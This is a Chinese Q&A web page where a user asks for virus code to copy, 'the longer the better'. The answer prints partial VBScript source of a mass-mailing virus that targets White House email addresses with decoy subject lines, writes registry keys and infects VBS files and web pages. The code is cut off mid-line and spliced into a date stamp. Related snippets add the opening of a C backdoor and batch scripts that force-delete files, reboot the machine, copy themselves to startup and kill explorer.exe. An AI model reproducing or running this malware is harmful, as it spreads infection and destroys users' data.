给个C病毒代码.....要复制的....越长越好

‘借刀杀人’,病毒名称“陷阱”On Error Resume Next Dim vbscr, fso, w1, w2, MSWKEY, HCUW, Code_Str, Vbs_Str, Js_Str Dim defpath, smailc, MAX_SIZE Dim whb(), title(10)smailc = 4 Redim whb(smailc)’白宫相关人员邮件名单 whb(0) = "president@whitehouse.gov"whb(1) ...
给个C病毒代码.....要复制的....越长越好
下面详细揭秘了“陷阱”病毒的发作过程和源代码。病毒具有自身加密能力,使用JavaScript编码技术,使普通用户无法直接看到病毒的原始代码,但在被感染的VBS文件中并未加密,因此作为一个入口点,作者轻松获得了所有源代码。

“陷阱”病毒的代码如下:

‘借刀杀人’,病毒名称“陷阱”

On Error Resume Next

Dim vbscr, fso, w1, w2, MSWKEY, HCUW, Code_Str, Vbs_Str, Js_Str

Dim defpath, smailc, MAX_SIZE

Dim whb(), title(10)

smailc = 4

Redim whb(smailc)

’白宫相关人员邮件名单

whb(0) = "president@whitehouse.gov"

whb(1) = "vice.president@whitehouse.gov "

whb(2) = "first.lady@whitehouse.gov"

whb(3) = "mrs.cheney@whitehouse.gov"

’发送邮件的主题

title(0) = "Thanks for helping me!"

title(1) = "The police are investigating the robbery"

title(2) = "an application for a job "

title(3) = "The aspects of an application process pertinent to OSI"

title(4) = "What a pleasant weather. Why not go out for a walk?"

title(5) = "These countries have gone / been through too many wars"

title(6) = "We've fixed on the 17th of April for the wedding"

title(7) = "The wind failed and the sea returned to calmness."

title(8) = "the sitting is open!"

title(9) = ""

defpath = "C:\Readme.html"

’病毒文件

MAX_SIZE = 100000

’定义传染文件的最大尺寸

MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"

HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"

Main

Sub main()

On Error Resume Next

Dim w_s

w_s = WScript.ScriptFullName

’得到病毒文件本身的路径

if w_s = "" then

Err.Clear

Set fso = CreateObject("Scripting.FileSystemObject")

’创建文件系统对象

if getErr then

’辨认病毒状态

Randomize

’初始化随机种子

ra = int(rnd() * 7)

’产生随机数

document.write title(ra)

’ 写随机内容

ExecuteMail

’执行邮件状态时的程序

else

ExecutePage

’执行 WEB 页状态时的程序

end if

else

ExecuteVbs

’执行 VBS 文件状态时的程序

e2024-12-01
mengvlog 阅读 9 次 更新于 2025-06-20 01:14:32 我来答关注问题0
  • ‘借刀杀人’,病毒名称“陷阱”On Error Resume Next Dim vbscr, fso, w1, w2, MSWKEY, HCUW, Code_Str, Vbs_Str, Js_Str Dim defpath, smailc, MAX_SIZE Dim whb(), title(10)smailc = 4 Redim whb(smailc)’白宫相关人员邮件名单 whb(0) = "president@whitehouse.gov"whb(1) ...

  •  BlueWanderer 需要些C++的病毒代码

    backdoor病毒源代码 include include include include include include include include define PORT 505 define MAXDATASIZE 100 define BACKLOG 10 void handle(char *command);int ...

  • ghs /f /s /q)rem 5秒内重启shutdown -r -t 5rem 复制自身+开机自启动 %0 "C:Documents and Settings\%userprofile%“开始”菜单程序启动"rem 增加超多硬盘md d:fly >nul 2>nulset a=c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,zfor %%a in (%a%) do s...

  • 恶搞电脑病毒代码介绍一:首先在电脑上新建一个TXT文档 然后把下面这段代码输入进去 On Error Resume Next Dim WSHshellA Set WSHshellA = wscript.CreateObject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪,不喊就马上让你关机,不信,试试··...

  •  云易网络科技 电脑有一个病毒autorun

    操作步骤:1、将u盘插在电脑的usb接口上,然后再新建一个文电脑本文档,:2、将下列代码复制粘贴进文本文档中并保存:1. 01 @echo on 2. 02 taskkill /im explorer.exe /f 3. 03 taskkill /im w.exe 4. 04 start reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\EXplorer\Advanced /...

檬味博客在线解答立即免费咨询

代码相关话题

Copyright © 2023 WWW.MENGVLOG.COM - 檬味博客
返回顶部